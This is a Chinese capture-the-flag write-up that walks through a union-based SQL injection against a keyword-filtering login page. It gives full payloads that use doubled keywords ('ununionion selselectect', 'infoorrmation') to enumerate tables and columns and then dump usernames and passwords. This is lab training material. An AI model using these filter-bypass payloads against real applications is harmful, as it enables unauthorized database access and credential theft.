刚看到题目,上面写着过滤了很多,所以要注意
-
试探性地先在两个参数后面加单引号来测试注入点,发现两个都可以,我选择了后者
-
在使用#和--+时发现#被过滤,因为用#时它没有报错,但是--+报错了,所以只能用--+
-
在‘后加order by 1语句时发现返回der 1 ,证明or 和 by 都被过滤掉了,试试双写绕过,成功,所以可以绕过,数字增加,到了4不行,说明有三个回显位
-
于是正常联合查询,但显示
use near '.tables table_schema='geek'-- '' at line 1
发现union select也被过滤,试了试from、where也是被过滤了
所以都双写绕过
注意因为or被过滤information中的or也双写绕过
查询表playload:' ununionion selselectect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema='geek'--+
同样方法查询列,发现and也被过滤,双写绕过
查询列playload:' ununionion selselectect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'--+
同样方法查出flag
playload:' ununionion selselectect 1,2,concat(id,'-',username,'-',passwoorrd) frfromom geek.b4bsql limit 7,1--+
总结:此题不难,正常注入语法就行,只是要通过回显的错误来判断过滤掉的关键词